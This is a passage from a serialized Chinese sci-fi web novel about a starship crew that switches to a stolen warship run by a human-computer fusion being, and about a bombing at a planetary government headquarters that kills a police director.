程院士一眼扫过去就知道在场的人有听没有懂，耐着性子解释：“当迁跃速度被设置到最高的时候，背后隐含几种可能。” “第一，目的地距离非常遥远。如果没有空间迁跃模式，星舰上所有人会被耗死在太空里。” “第二，命悬一线的紧急关头。只有启用最高迁跃速度才能逃脱，如果熔断了，根本跑都跑不掉。” 不需要再说下去，闻铮已经明白了他的意思！ 这个对破晓号动手脚的人，根本没想着让他们活着回去！ 他的脸色蓦地阴沉下来，薄薄的面皮下青筋分外明显，显然在控制着自己的怒气。 他可以接受自己被作为目标，要是真能把他杀了也算一种能耐。但这艘船上还有他的组员们，也有他新招揽的人，他们可以为了联邦献身，但不能因为受到他连累而丢了性命！ 黎晓的嘴唇张了又合，半晌才嗫嚅着说：“闻哥，破晓号……不能再飞了。” 闻铮一怔，他将目光落在了轮机室的动力间里，看着有些陈旧的机器，一言不发。 “这个止逆阀会伤害空间迁跃动力核，按照目前的数据指标看，再熔断一次，整个动力舱都会被强制引爆。” 程迹把止逆阀放到一边：“万一再遇到什么危险，不可能不用武器，只要使用，必定会熔断。” 裴简珩立刻察觉到了这句话里的逻辑漏洞：“但你刚刚把止逆阀卸下来了，空间迁跃动力核已经没有这个止逆阀了，怎么还会熔断？” 程迹哂然一笑：“这只是最外面的一个，从数据指标判断，在动力核内壁上，还嵌有三个止逆阀，而那三个是绝对拿不出来的，除非有人想被辐射成一滩烂肉。” 动力核……内壁？ 闻铮眉心微动，也没说什么，只是最后看了一眼动力间，心头微酸。 看来他母亲的破晓号，也就只能陪他到这里了。 “……裴简珩，设定最近的联邦星系坐标，我们用中等空间迁跃速度飞行过去，再想办法回到7号星。” 闻铮收回了目光，冷静到宛如机器人一般下达了命令。 “如果用中等空间迁跃模式，离这里最近的联邦星系坐标要12天才能到达，但目前破晓号的动力只够支持6天。” 程迹此言一出，闻铮第一反应先看向了裴简珩—— 作者有话说：小剧场： 小裴：嘿嘿，诶嘿嘿，诶嘿嘿嘿 —— 感谢珍白雪w、清商、34402499和秦长歌的营养液！掉落止逆阀模型x1！ 第85章 融合体 裴简珩接受到闻铮询问的目光, 对他点了点头，表明程迹说的是对的。 Alpha看着闻铮把脸转过去，一颗心变得雀跃起来。 闻哥自己都没意识到, 其实他对自己的信任已经很多了。 闻指挥官的大脑在飞快运转思考着对策, 另一边程迹却推了推眼镜，笑起来：“我有一个提议。” 其他三个人都朝他看去, 克米恩人歪头：“要登上我的船看看吗？” …… 闻铮让凯利斯和赫尔留守破晓号，其他人和程迹一起登上了那艘“德瓦战舰”。 程迹对闻铮有利益诉求, 闻铮倒是不认为他在现阶段会对自己不利，所以才接受了他的这个提议。 ……虽然目前看起来也没什么别的选择了。 这艘被程迹改造后的战舰, 内部看上去完全还是德瓦战舰的构造，和联邦星舰截然不同。 但大是真的大, 和当年的悬空号差不多。 不过悬空号要想正常运行, 舰上按照AB岗轮班计算需要512名船员, 而这艘星舰, 居然只需要程迹一个人？！ 难以置信！ 闻铮一边走向舰桥, 一边在心里盘算。 如果这艘船的技术能在联邦星舰内大范围推广，对德瓦帝国来说必定是极强的威慑—— “我知道你在想什么, 闻指挥官。” 程迹看到闻铮漆黑眼底的亮光，凑近他小声道：“这艘船的技术是不可复刻的。” 闻铮挑眉：“为什么？你能改造出一艘, 就能改造出第二艘、第三艘吧？” “这艘星舰是我机缘巧合之下从德瓦人那里偷来的。”程迹解释道，“实现全舰高度智能化和自动化的前提是人工智能计算机的高度算力，联邦的技术达不到这个高度，所以无法实现。” “但这艘德瓦战舰却可以做到？” 闻铮停住脚步，后脑勺倏地一下收紧，汗毛林立：“德瓦帝国的科技水平已经在联邦之上了？” 那如果真的再次打起来…… “他们的科技水平不一定在联邦之上，但人性水平一定在联邦之下。”程迹声音变得冷硬起来, “……运霖。” 一个男声响起：“我在，请说。” 这个声音响起的时候，在他们身后的裴简珩浑身一震，他猛地抬头望向星舰顶部，似乎想找到是哪里传来的声音。 “请计算从现在的坐标出发，避开魁斗人和德瓦人的最短路线，给出三种方案。” “方案需要包括动力、驾驶、武器防御和通讯等方面，进行整舰联动设计。” “对现在坐标的安全范围进行扫描，标记潜在风险点。” “对……” “对……” 黎晓在旁边听他一连串的指令，眼睛越瞪越大：“联邦人工智能中控系统不可能同时处理这么多需要深度思考才能给出答案的指令——” 而只不过十几秒的时间，这艘星舰上名叫“运霖”的全舰人工智能却在眨眼间给出了每个指令的回答，完成度超过97%。 黎晓：“我靠！” 这怎么可能！ 闻铮却轻轻蹙起眉，他怎么觉得这个名字有点耳熟，好像在哪里听到过…… 运霖…… 他脑海里有什么一闪而过，但又模模糊糊地抓不住。 “人工智能当然做不到。” 程迹转向黎晓，眼底沉沉：“但融合体可以。” “……” 黎晓结巴：“融、融、融合什么？” “人脑和神经网络的复杂性和高效率远非人造模型所能及，将类人生命体和计算机进行融合，既可以将生物神经元的并行识别模式与超高速计算结合，又能做到保留生物体的自我进化与学习能力。” “……具体的我不展开了。总而言之，通过融合体的方式，原本的人工智能会实现质的飞跃。” 程迹目光幽深：“能撑起这艘星舰的人不是我，是他。” 黎晓看上去已经快喘不来气了：“你、你是说，德瓦人把类人生物和人工智能进行融合？！这、这违反了道德伦理和自由人权——” “德瓦帝国不会遵守所谓的道德伦理，”闻铮淡淡道，“他们掠夺侵略了那么多星球，克米恩大屠杀、洛希尔清剿、艾尼默殖民……他们是残忍冷酷的种族，非其族类，他们只会视其为奴隶。” 静默。 程迹继续道：“来舰桥吧。” 闻铮颔首，在抬腿的瞬间，他注意到裴简珩十分沉默，在整个讨论的期间一言不发。 他朝Alpha看去，后者脸色沉沉，盯着星舰顶部出神。 ……在听到融合体之后，他就变得不对劲。 闻铮心里微微一动，运霖……这个名字他真的很耳熟，又一时半刻想不起来。 裴简珩收回目光，轻轻叹了一口气。 运霖…… 裴简珩…… ——等等！ …… 程迹带着闻铮和黎晓进入舰桥指挥室，裴简珩稍微落后几步，等在了舰桥外。 舰桥指挥室的门自动关闭，裴简珩却站在门外没有动。 男声响起：“是否需要为您打开舰桥指挥室的门？” 裴简珩喉头滚动了两下，方才艰难地吐出几个字：“……你还记得我吗？” “……谢运霖？” 融合体倏地收声。 短暂的沉默过后，谢运霖轻声道：“好久不见，裴少将。” “……我还以为你死了。”裴简珩的声音低哑，“为了我们死了。” “我抓住了一个机会，”谢运霖说，“一个也许还能延续我意志的机会。” “抱歉，之前我没办法突兀地出现在7号星，在和星舰军部达成交易以前有太多的眼睛盯着我，我不想给她们带去风险。直到前段时间我才能脱身，所以才有机会去看了你的家人。” 裴简珩声音很哑：“她们过得还好，虽然经济上没有特别富裕，但身体都还健康，状态也不错。我留了一部分钱，也打过招呼，不会有人为难她们的。” “……那就好，那就好。” 谢运霖的声音有些怅然，半晌才道：“……谢谢你。” 裴简珩低低道：“等我们回到7号星，我带她们来见你。” “不必了。” 谢运霖却一口拒绝：“我已经不再是艾尼默人了，我甚至都不算完全生物体，也离不开这艘星舰的承载。她们已经开启了新的生活，不需要我重新介入其中，知道她们一切都好，我已经很满足了。” “是我对不起你——” “不要再说这种话了，裴少将。”谢运霖温和地打断了他，“你们是当时我们唯一的生机，如果不先把你们救出去，所有人都会被德瓦哨兵杀死。我不是为你们人类而自愿牺牲，而是为了我的族人而死，我也并不后悔。” 裴简珩默然，随后点点头调整好状态：“……麻烦帮我打开舰桥指挥室的门吧，谢谢。” “收到。”谢运霖的声音也轻快起来，“另外，能在实验基地之外再见到你，我真的很高兴。” …… 而另一边，闻铮正在参观这艘德瓦战舰的舰桥指挥室。 德瓦星舰整个指挥室的风格虽然让他有些不适应，但他也发现基本的操作配置都和联邦星舰大差不差，不知道是不是程迹自己改装过的。 “……你从哪里偷来的？”闻铮有些无语，“这是一艘星舰，甚至是一艘战舰！又不是一个模型，说偷就能揣兜里偷走。” 程迹歪头看他：“保密。” 闻铮：“……” “不过闻指挥官放心，这艘星舰的外在编码和内部安全代码我已经改过了，除非我主动暴露，否则没人知道它是被偷走的那一艘。”程迹对他眨了眨左眼，“不会有什么后顾之忧的。” 闻铮不置可否，他倒也没有那么信任程迹，就算他这么说了，自己也会留个心眼的。 “现在只有一个问题，”闻铮思忖了一会儿，缓缓道，“我不可能开着这艘德瓦战舰进入联邦星系领空。” 下一秒就会被打下来。 就算没被打下来，他们也会被要求解释这艘战舰的来历和他们的身份。 巧的是，现在这艘船上有联邦一级逃犯、藏匿身份的第三军团上将和一个基因改造战士，哇，跳进银河都洗不清。 “那就只剩下一个办法了。” 裴简珩的声音传来，其余三个人都闻声看过去，Alpha的眼底划过一道亮光：“中立区，魁斗星。” …… 阴暗的房间里，一丝光亮都没有。 “呲……呲……” “……呲……呲……” 时有时无的声音传来，似乎有什么设备正在房间里运行。 “呲——嘟！” 运行的声音戛然而止，而一只瘦长的手伸了过去，点开了一个三维视频。 视频里是黑色皮肤淡色眼睛的德瓦男人，面容精瘦神色倨傲。 “实验已经成功，前期准备完毕，您可以撤出了。” 沙哑的声音在房间里响起：“这么快？” “如果我们的进度不抢在前面，哼，奴瓦辛戈就会先一步宣战，我们会失去先机。” “他的实验更难做，怎么可能先一步完成？” “不知道他怎么做到的，似乎超基因战士的实验已经收尾了……但他如果急于求成，到时候拿出一批残次品，皇帝陛下可不会饶了他。” “但无论如何，我们的实验确实已经成功了，蓟梨草和B-356的融合效果非常显著。” “我们需要您归位，带领我们实现更光辉的复兴！” “——幕僚长大人！”—— 作者有话说：感谢西江月、34402499、Coco和珍白雪w的营养液！ 掉落德瓦战舰模型x1！ 第86章 砰——！ “魁斗星？” 闻铮重复了一遍裴简珩的话。 银发Alpha点点头：“是的。就算被改装过, 这艘星舰也是德瓦战舰，进入任何联邦领空都会被击落，就算侥幸没有, 我们也会面临很大的麻烦。” 闻铮眼底的笑意和欣赏几乎掩饰不住, 果然，裴简珩和他的思维共振到了一个不可思议的地步。 “但我们目前又肯定不可能贸然进入德瓦帝国领空, 太敏感了，万一被发现, 我们就会引发第三次星际战争，德瓦帝国不会放过这种扣帽子的机会。” 裴简珩的逻辑很清晰, 听他说话非常舒服：“所以我们只能先去中立区，也就是魁斗星, 想办法把破晓号的空间迁跃换掉, 再回到联邦领空。” 闻铮没有说话, 但他的目光却久久地停留在裴简珩身上。 这个年轻的中校, 身上却隐隐有了当舰长的潜质和苗头。 程迹也颔首：“我赞同。魁斗星作为上次战争谈判的中立区, 对人类和德瓦人都比较包容、或者说漠不关心，所以我们的身份会没有那么敏感。” 黎晓挠了挠头：“好像也没有其他的办法了。” 闻铮环视了一圈这个怪异且陌生的舰桥指挥室, 目光最后落在了中心的舰长椅上，转身对程迹示意：“这是你冒着风险偷来并改造的星舰——” “谢谢你的谦让, 闻指挥官，但还是算了。” 出乎闻铮意料，程迹却一口拒绝：“我不是当舰长的料子，我更习惯单独作战。现在我把这艘船送给你，只要你帮我达成我的目的。” 闻铮几不可见地点点头，拍拍他的肩膀，随后扬声道：“运霖, 请呼叫破晓号。” 谢运霖的声音一秒响起：“正在呼叫，已接通。” “闻哥！” 凯利斯的面容出现在是破晓号五倍大的主屏幕上，眉宇之间有些紧张：“还顺利吗？” “顺利。”闻铮一边打开了这艘战舰的构造图，一边下达命令，“把破晓号开到这艘德瓦战舰上来，8号甲板足以容纳它。” 凯利斯一怔：“……闻哥？” 闻铮面容沉静：“说来话长，我们换一艘星舰，先行开往魁斗星。” 他侧头看向裴简珩：“请告诉我，你开得起来这艘德瓦战舰。” 裴简珩弯起双眼：“当然，我可是有驾驶德瓦战舰经验的。” 这次换闻铮惊讶：“什么时候？开了多久？” “满打满算的话，21个小时吧。” 裴简珩坐到了舵手席上，熟练地操作和联邦星舰并不太一样的仪表盘：“冷知识，我第一次实地驾驶星舰，开的就是德瓦战舰。” 黎晓震惊：“啊？德瓦战舰？那你把德瓦战舰开到哪里去了？” 裴简珩露齿一笑：“开到海里坠毁了。” 黎晓：“……” 程迹：“？” 闻铮：“……各就各位，立刻执行。” 黎晓赶紧奔去轮机舱，程迹也在舰桥的科学官位置坐下，未免麻烦，还按住太阳穴，变成了茱莉的模样。 闻铮按住了裴简珩的肩膀，在他耳边轻声道：“你悠着点，别把这艘星舰坠毁了，起码现在还不行。” 裴简珩失笑。 他感受着耳边闻铮不经意的呼吸，那一小块颈部皮肤的战栗感很快传遍全身。而闻铮这种放松的、信任的态度和玩笑，更是让他心里很满足。 而闻铮，他凝视了一会儿那张舰长席，伸手把座位靠背上一块德瓦帝国的标志掰了下来，随手丢到一边，然后缓缓坐了上去。 “目的地坐标设定魁斗星，我们出发。” …… 7号星，政府总部 江悦穿着全套的暗影组军装踏进总部大堂，目光在那颗悬空钢铁头颅上停留了一会儿，伸手抚平了自己肩上的肩穗流苏。 她原本是没有军衔的，但闻哥把她要来暗影组以后给她争取了一个，虽然只是一个中尉，但也距离她的梦想更近了一大步。 自己，一个艾尼默人，穿着军装，戴着肩穗流苏和中尉军衔，踏进了这个被人类占据的政府总部，来参加军部和警部的高层战略会议，这是她之前做梦都不敢想的！ “江指挥官。” 含笑的声音传来，打断了她的思绪。 江悦背对着来人翻了个白眼，深吸一口气才转过去，假笑：“上午好，段上将。” 段洄笑眯眯地看着她，递给她一杯咖啡：“喝吗？” 江悦瞟了一眼，是大堂调度前台的免费咖啡：“不了谢谢，这咖啡难喝得要死，狗都不喝。” 段洄：“……” 他倒是也没有被冒犯到，只是示意了一下调度前台的方向：“一起上去？” 军衔摆在那里，江悦没得选择，只能捏鼻子假笑，和这位祖宗一起踏进电梯。 ……谢天谢地，电梯里不止他们，还有一个工作人员，穿着警卫制服，手里还抱着一个快递。 这位段上将好像不和别人说话就浑身难受，跟警卫都搭话：“送去哪里呀？” 警卫看到他的肩章，立刻敬礼：“上将！是利切尔局长的包裹，他说马上要开会来不及，请我帮他拿上去。” 江悦眉毛一动。 哦对，利切尔已经正式从副局长晋升成了局长，正好卡在段洄刚来还没来得及插手的时候，不然能不能升职还真得打个问号。 “哦~”段洄恍然，面露遗憾之色，“好可惜，我也着急去开会，不然的话可以帮你捎过去，正好还能和利切尔局长聊聊天。” 江悦面对着电梯的内壁翻白眼。 虚伪！ 还聊聊天，我看你是去添添堵。 电梯先到了利切尔局长的楼层，警卫准备踏出电梯，段洄还对他说：“记得提醒利切尔局长，会议将在十分钟后开始，不要迟到哟。” 警卫立正敬礼，示意收到。 江悦：“……” 这是挑衅吗？这是挑衅吧？ 怪不得利切尔局长好像老了十岁，内部一团乱，军部长官还对自己的职权虎视眈眈，时不时来搞一搞事，不够折腾的。 电梯又停下了，到了他们高层战略会议的42层，就在利切尔局长办公室的上一层。 段洄对她示意：“女士优先。” 江悦被他这么一说，险些连假笑都挂不住，也没说什么就先出去了。 这次的高层会议应该会宣布一些军部和警部联合管理的具体措施，所有指挥官及以上职级的政府成员都需要参加。 人还挺多的，将近二十个，但一眼扫过去，江悦是唯一的艾尼默人。 太少了。 江悦眼睫微垂，太少了。 所有人陆续入座，江悦刚坐下没多久，右侧的位置就被人坐了下来，是利切尔局长。 江悦放松下来，和他打招呼：“利切尔局长。” 利切尔局长看上去比段洄没来的时候更加疲惫，头发都有点白了，让他笑起来脸上那种僵感更加明显。 累成啥样了这是…… 再累几天，年轻时候臭美填的假体都要掉出来了。 江悦同情地递给了他一杯水。 十一点整，会议正式开始。 段洄作为7号星军部目前军衔最高的上将，在台上面发表演说，都是一些虚与委蛇毫无意义的废话，给江悦越听越困，干脆在下面开小差，用悬浮屏看资料。 自从上次闻哥跟她说，要去关注一下“但丁”的尸体之后，她就联系到了何首席。 何首席还是很配合的，立马带她去了人道主义冷冻储存舱，只是…… “但丁”的尸体，不翼而飞。 不只是江悦，就连何首席都是大吃一惊！ 谁会偷一个街头帮目的尸体啊？！ 除非……这个人的尸体不简单，藏着很大很大的秘密。 何首席把人道主义冷冻舱的电子眼录像给了江悦，代理指挥官得研究一下，到底这尸体是怎么不见了的…… 跑神摸鱼的人显然不止她一个，利切尔局长都瞟了过来，用气声问：“你在看什么？” 江悦也用气声道：“您还记得之前非法抑制剂那个案子里，有个叫’但丁’的帮派老大吗？他的身份有点问题，我本来是去查看一下他的尸体，结果发现尸体失踪了。” 利切尔局长皱眉：“我看过案件报告，是不是引出了蓟梨草和B-356物质的那个人？” “是的。”江悦点头，“他的基因序列虽然确实是艾尼默蛇属人，但有一些说不通的地方。只是因为我们没有更确凿的证据，以及他又自杀在了暗影组，所以只能搁置了。” “那怎么突然想起来他了？有新的线索了吗？”利切尔局长又问。 江悦叹了口气：“也说不好，我想着说还是去看看，不然总感觉哪里不对……” 这里人太多，他们说得多了容易被发现在蛐蛐，所以江悦也没展开说，想着开完会找个机会再和利切尔局长仔细汇报一下。 利切尔局长也没再追问，有些头疼地揉了揉太阳穴：“你们闻哥怎么样了？我最近实在是分身乏术，没来得及顾得上他。” “我也不知道……”江悦垮下了脸，“每次和闻哥的进度对齐都是急匆匆的，他也没有说很多，也没说什么时候能回来。” 利切尔局长温和地看着她，眼底也有几分歉意：“他不在的时候，你也辛苦了。暗影组的活儿不好干，尤其现在……” 他的目光瞥了一眼段洄，又收了回来，若无其事地继续道：“……这里也被人搞得一团乱，很多事我都没有心思顾及。我也听说他总去找你，也是被我连累了，哎，是我对不住你们。” 江悦连忙摆手：“您这说的是什么话！” 利切尔局长刚要继续说什么，却倏地皱了皱眉，问：“你有没有听到什么声音？” 江悦一怔：“……啊？” “滴——” “滴滴——” “滴滴滴——” “——砰！！！” 震耳欲聋的爆炸声传来，整个42层瞬间火光冲天！！ ——卷二.追觅之行完—— 第87章 袭击 好亮…… 好痛…… 好吵…… 江悦费力地睁开眼, 试了三次才把眼皮撑开，映入眼帘的却是火光冲天的断壁残垣，以及要把人呛死的浓烟。 她趴在地上缓了一会儿, 才想起来发生了什么。 他们在开军部和警部的高层战略会议, 段洄在上面讲一些愿景使命的废话，她正和利切尔局长开小差蛐蛐, 突然听到了滴滴声，还没等他们反应过来—— 就是现在这样了。 ……对了, 利切尔局长呢？ 她用胳膊肘撑着地要站起来，试了两次都失败了, 右腿膝盖一阵剧痛，几乎感觉不到小腿的存在。 她来不及思考是不是残了, 哪怕断了, 按现在的医疗水平也能救回去, 她更关心的是其他人的死活。 咬咬牙, 江悦硬撑着站了起来。 她发现, 原来右小腿是被一块桌子的残骸压住了，才导致她刚才动弹不得, 所以她几乎把嘴角咬出血，才终于把腿拔了出来。 ……烟太浓了, 又呛又看不清。 她一边捂着口鼻，一边在火光四起的大会议室里寻找生还者，尤其是利切尔局长！她知道他对闻哥来说有多重要，况且自己能成功转入暗影组，利切尔局长也没少帮忙。 ……是那个吗？！ 她看到了黑色的衣服，局长和上将的军服颜色和他们不一样，显眼得很。 江悦一瘸一拐地赶过去, 利切尔局长正脸朝下趴在地上。 “利切尔局长？利切尔局长？！” 她一边费力地把他翻过来，一边急急地呼唤他，想让他赶快清醒过来。 只是利切尔局长一直都没睁开眼睛。 江悦愣住，她颤抖着手伸过去，而利切尔局长躺在地上，却已经再没有了鼻息。 “……” 她张了张嘴，却一句话也说不出来。 不管她再怎么尝试进行心肺复苏急救，却也是徒劳无功。 “咣！” 又是一块天花板受不住高温砸了下来，就在她身侧不远的地方，正好砸到了另一个军官的尸体，熊熊烈火瞬间蔓延！ 江悦猛地清醒过来。 她急急地喘了口气，伸手把利切尔局长的双眼合上，来不及揩去眼角的泪，就又支撑着站了起来搜寻幸存者。 ……十几个人，除了她以外，竟然无一人生还…… 而就在最后的十步开外，她看到了段洄。 这位让她极其看不顺眼的上将，正艰难地试图爬起来却屡屡失败。 他右腿膝盖以下已经血肉模糊，左腿更是从将近腿根的位置被直接斩断，只剩空荡荡的一片。 江悦有些不忍地别开了脸，还是下定决心走了过去，把手伸给段洄：“还能再撑一下吗？” 段洄痛得有点神志不清，听到这句话短暂地回过神，对她苦笑了一下：“我很难走掉了，你再去看看别的幸存者吧。” “哪里还有幸存者。”她沉默了一下，抽抽鼻子，“没有了。” 段洄失语。 江悦又道：“抓住我，我们一起出去。” 段洄看着眼前的手，还是伸出去抓住了。 江悦使力把他拉起来，差点把自己摔得一个趔趄。 她咬咬牙：“我背你。” 还没等段洄反应过来，这个看似瘦弱的艾尼默女孩，却把他一个一米八五的Alpha硬是背了起来！ 他神色复杂，思绪万千，最终只能说出一句：“……多谢你。” “先别急着谢，”江悦背着他，走两步就要晃悠两下，“先出去再说，保不准我们都死里面了——段上将，你比你看上去轻多了。” 一米八五的个子怎么这么轻啊？ 段洄道：“可能因为我没了一条腿吧。” 江悦：“……” 这样啊。 费了半天劲，终于快走到门口了。 段洄一只手搂着江悦的脖子，他的军装内侧有什么东西在走动之间不经意地掉了下来，顺着地板滚进了旁边燃得正旺的火堆，被噼里啪啦的声音和火星掩盖了。 就在江悦松了口气的时候，倏地，门口又有一个军官开始剧烈地咳嗽，似乎是刚从休克中醒来。 江悦眼睛一亮，连忙背着段洄往那边走去，那个军官也看到了有人朝他走过去，连忙抬起了手，用尽力气大声喊道：“帮、帮我一下——！” 江悦吃力地走到他身边，一边去拉他，一边道：“没事的，我来帮——” 声音戛然而止。 江悦的脸色沉了下来，那个军官看到她之后的表情也宛如当头一棒砸下来。 段洄被这种沉默搞得莫名其妙，奋力探出头来：“你们怎么了？” 江悦缓缓直起身，语气冷淡：“段上将，我给您介绍一下，这位是来自凶杀重案组的指挥官，我的前上司。” “……” 不需要再多说明什么，段洄早就把暗影组的这些人查了个底儿掉，除了那个叫闻的指挥官和凯利斯他在系统里查不到以外，什么江悦、林瑜淞、戴维尔……甚至配备的十几个稽查队的成员，他都一并查清楚了。 所以他当然也知道，江代理指挥官和她前老板之间的恩怨。 这个艾尼默女孩，费了好大的力气和努力才成为警部首批艾尼默警员之一，原本满怀的野心和梦想，却在入职后被磋磨和骚扰，甚至被打压到了难以想象的地步。 她曾经各项成绩都是第一，有着敏锐的洞察和极强的学习能力，在面试和笔试中也都是断层第一，而在入职四个月后却被发配到治安最差、毫无前途的岗位上。 一切都只是因为她拒绝了自己Alpha上司的性｜骚扰。 直到这位闻指挥官的出现，这颗明珠蒙上的尘才又被重新吹开。 而现在……怎么不能说一句冤家路窄，因果报应呢？ 段洄眯起眼，饶有兴味地打算看这场好戏。 Alpha指挥官的眼神飘忽，他自己也知道这种情形有多尴尬，但段洄的出现又让他有了一些底气。 难道当着上将的面，这个艾尼默人胆敢对高军衔的长官见死不救吗？！ 他咳了两声：“江悦，出去以后我会把情况如实上报，建议对你进行表彰，当然我相信段上将也会同意的。” 江悦听着只觉得好笑：“这么久没见，你还是这么自大。” Alpha指挥官显然没想到她竟然敢当着高级长官的面呛自己，眼睛都瞪大了！ 他看向段洄，本来指望着这个上将给自己撑腰说上几句，却没想到这位新来的年轻上将只是弯了弯眼睛：“识时务者为俊杰，我现在腿都没了一条，想活命还是得靠江指挥官。” Alpha指挥官差点一口血吐出来。 他死死地盯着江悦，眼底赤红。 江悦知道，如果现在自己转身就走，这个烂人一定会用尽所有恶毒的语气咒骂自己。而段洄，就像他说的，此时此刻也不会干涉她的决定。 天花板噼里啪啦地又掉下来了一块，燃起了一地火星。 段洄趴在她耳边，轻轻说：“要尽快做决定了哟，江指挥官。” 江悦恍然间只觉得，自己背着的并不是一个军部上将，而是一条嘶嘶作响的毒蛇。 现在是不会干涉，将来呢？ 自己的一时冲动，则会变成他手里对自己永远的把柄，就此把她、把暗影组、甚至进而把闻哥捏在股掌之间。 更何况…… 江悦深吸了一口气，弯腰把这个Alpha指挥官搀了起来，她背上背着一个断了腿的上将，右手揽着一个浑身是伤的指挥官，一步一步地挪向了门口。 恰好此时，救援队也强行突破了大门，所有人都松了口气！ Alpha指挥官当着段洄的面，还是假惺惺地对江悦表示了感谢：“谢谢你啊，慷慨地救了我。” 江悦看着他眯缝起来的眼睛，知道这个自大又垃圾的Alpha根本没有真心地悔过，也不是在真诚地道歉。 “比起感谢我，”江悦冷冷道，“你更应该为你自己感到耻辱。” 救援队把段洄从她背上拿了下去，抓紧塞进了医疗舱进行四肢再生。而江悦就垂着眼站在那里，似乎进入了短暂的抽离状态，连周围的声音都宛如进行了降噪处理，听不真切。 恍惚间，她又想起当年闻哥把她抢过来后和这个Alpha产生的冲突。 她很愧疚地和闻哥道歉，是因为她才让闻哥和同级别的长官结仇，她不想闻哥为了帮她受到打击报复，他知道这个人的手段有多么下作……她可以就此退出。 那时候闻哥说了什么呢？ “比起你来道歉，是他更应该为自己感到耻辱。” 一瞬间，江悦泪如雨下。 …… 而另一边，破晓号载着凯利斯和赫尔进入了编号DEHWA-2075的“德瓦战舰”，被这艘战舰的规格和谢运霖的存在震惊的人又多了两个。 闻铮把自己的计划和所有人都简明扼要地说了一遍，他虽然有的时候会比较凶，但还是希望自己团队的人都和自己的信息保持对称。 没有人有异议，大家都知道如果不想死在太空里，这是目前最好的、也是唯一的选择了。 裴简珩设定好了魁斗星的坐标，这艘战舰的空间迁跃很先进，虽然动力还没灌满，但足以支持前往魁斗星的18天消耗。 只是当他们踏上路线的第二天，就接到了暗影组的紧急通讯请求。 闻铮在舰桥接通了通讯，看到满身是伤和血污的江悦后，立刻从舰长椅上站了起来，眉头紧皱：“你怎么了？！” “闻哥……” 江悦眼底微红，把手里残留的血随手抹在了衣服上，神情恍惚又悲伤。 闻铮的心开始猛烈地跳动，他有一种不好的直觉，这让他在一瞬间连天灵盖都在发麻。 “政府总部被袭击了，利切尔局长……已殉职。”—— 作者有话说：嘿嘿，本文有点小群像，所以像江悦、戈维、向星苑这样的配角戏份会有一些的，因为他们是被闻哥拯救的，一方面他们因为闻哥而变得越来越好，另一方面在他们身上也能看到闻哥的人性光辉和他精神的传递，所以大家才会对俺们闻上将死心塌地[星星眼] 第88章 我孤身一人了 ……什么？ 什么袭击？ 谁…… 谁殉职了……？ 闻铮站在舰长席上, 只听到一声轰鸣，周遭在一瞬间进入了死寂模式，让他无法再摄入任何其他的信息, 脑海里只反反复复回想着江悦的那一句—— ——利切尔局长, 已殉职。 星舰上其他人不知道利切尔是谁，裴简珩和凯利斯知道。 所以在江悦话说出口的下一刻, 他们都瞪大了眼睛，猛地扭头朝闻铮看了过来！ 裴简珩更是从舵手席站了起来, 下意识地朝闻铮这边走了几步。 而这个一向坚韧冰冷的指挥官，在这一刻却没了魂魄一般, 眼神直直地看向前方，却没有任何焦距。 怎么会突然…… 为什么又…… 永远脊背挺直的闻铮, 却伸手握住了舰长椅的椅背, 弯下了腰。 裴简珩看着他, 想去触碰他, 手伸到半空又犹豫地收回, 而看着闻铮无声的痛苦，他的眼底也红了起来。 通讯那头, 江悦也抹了抹眼泪，血和泪糊了满脸：“现在……现在总部一片狼藉, 段洄也重伤被送进了再生舱，听说洛河星系总部会派人来调查……闻哥，我们——” “……我不相信洛河星系的人。” 比平时更加嘶哑的声线传来，闻铮抬起了脸，那张脸瘦削又冰冷，此刻因为泛红的眼睛和鼻头而显出了极艳的杀意：“我只信任你们。” 江悦一怔。 闻铮道：“我不管你们用什么办法，我需要知道这场恐怖袭击的真相, 我需要知道利切尔……的真相。” 他又急急喘了两口气，才平稳呼吸直起身来：“我知道这对你们来说很困难，是我对你们的要求、不、请求太超过了，但……” 他直直地看向通讯，也直直地看向江悦的眼睛，轻声道：“请答应我。” 江悦看着闻铮，他的肩膀一直足够有力，一力扛起了整个暗影组，也扛起了他们每一个人重启的人生。 而现在，她看着那双漆黑如深空的眼睛第一次在她面前流露出痛苦，让她也感受到了这种浓烈的恨！ 她想用尽一切办法抹去闻哥眼底这些伤痛，就像闻哥曾经把她救出深渊一样，不管用什么办法。 “我能，我能做到。”江悦深吸一口气，坚定地回望闻铮的眼睛，“……我们能做到。” 关掉通讯以后，江悦抿紧了嘴唇，好似下定了什么决心，一把拉住路过的一个医护急救人员：“段上将在哪里？” 医护急救人员看到她身上的军装，这才答道：“在急救三区的再生舱，段上将新的腿刚长出来——您干什么去？！现在还不能探视！” 江悦拖着残腿，一路上拒绝了三个要给她救助的医疗急救人员，跑到了临时搭建的急救三区再生舱。 段洄正被人用轮椅推出来，脸色惨白，看样子肢体再生的滋味不好受。 但他看到江悦的时候还是咧嘴笑了：“这么着急来看我？” 江悦神色复杂地看着他，没说话。 “我还没正式感谢你救了我，”段洄有些吃力地说，“但我可以保证，我的感谢一定比你的前上司更加诚挚和真心——” 江悦打断了他：“你是真的想感谢我吗？” 段洄一愣：“当然。” 江指挥官沉静地说：“那我们来做个交易吧。” …… “……凯利斯，你来负责舰桥。” 通讯挂断后，DEHWA-2075的舰桥陷入沉默，落针可闻。 半晌，闻铮才嘶哑着出声，把舰桥指挥权临时交给了凯利斯，自己转身踏出了舰桥指挥室。 “闻哥——” 凯利斯的轻语被闻铮甩在身后，而另一个身影也踏前了一步：“凯利斯，我已经设置好了未来三小时内的自动行驶，我能去找一下闻哥吗？” 现在的最高指挥权已经交到了凯利斯手里，裴简珩必须向他征询离岗批准。 金发大副把视线缓缓移向眼前这个年轻的Alpha，理性在提问，他作为加入暗影组三个月不到的新人，凭什么认为能安慰得了闻哥？凭什么闻哥会在这个时刻给他这个资格去安慰自己？ 而感性，或者说直觉，又在告诉他，裴简珩能做到。 他点了点头，下一秒，银发Alpha宛如一阵风一般冲了出去。 凯利斯把目光移回前方漆黑无边的太空，心里发冷。 …… 裴简珩冲出舰桥的时候，闻铮已经不见了踪影。 他不得已，只能扬声问：“运霖，他人在哪里？” 谢运霖的声音响起：“闻指挥官在3号甲板的观测间。” 裴简珩谢过他，直奔3号甲板。 在推开观测间的门之后，他看到了。 在透明舱体外的巨大宇宙映衬下，闻铮的身影显得分外单薄和瘦弱。 闻铮看着窗外的无垠太空，一动不动，就连裴简珩靠近他的时候，他也没有出声阻止。 裴简珩缓缓走近他，他的闻哥此刻好像一座冰做的雕像，轻轻一碰就能碎裂满地。 